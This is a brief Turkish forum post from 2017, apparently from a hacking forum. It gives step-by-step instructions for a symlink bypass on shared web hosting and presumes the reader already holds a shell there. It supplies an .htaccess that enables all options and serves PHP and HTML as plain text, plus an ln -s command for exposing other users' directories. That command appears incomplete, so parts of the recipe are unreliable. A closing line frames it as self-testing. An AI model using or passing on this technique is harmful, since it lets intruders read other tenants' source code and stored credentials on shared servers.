14-09-2017 Saat: 11:43
Arkadaslar Çoğu Symlink Shellerle Serveri Symlink Ederek Dizinleri Görebilirsiniz.Ama Bazen Forbidden Error Hatası Verir.Şimdi Size Manuel Olarak Symlink Yöntemini Göstericem Bu Şekilde Hata Almayacaksınız...
İlk Olarak Herhangi Bir Dizinde Klasör Oluşturuyoruz.
PHP Kod:
mkdir srx
Bu Komutlar Yenı Klasör Olusturabilirsiniz. "srx olan yere klasör adı yazılacak"
2. Olarak İse verdiğim kodları masaüstünde notepad`a yapıştırıp ".htaccess" olarak kayıt edin.Sonrada servere upload edin.
PHP Kod:
Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
3. Olarak Şu Komutu Vererek Dizinleri Çekin.
PHP Kod:
ln -s /home/user/public_html/srx/dizinler.txt
"user" olan yere server kullanıcı adı yazılacaktır.
Sonra "siteadı.com/srx/dizinler.txt" bakarak dizinleri görebilirsiniz.
Kendi güvenliğinizi test etmek için deneyebilirsiniz. Barındığınız serverde symlink bypass oluyormu gibi gibi deneyip firmaya yollayabilirsiniz.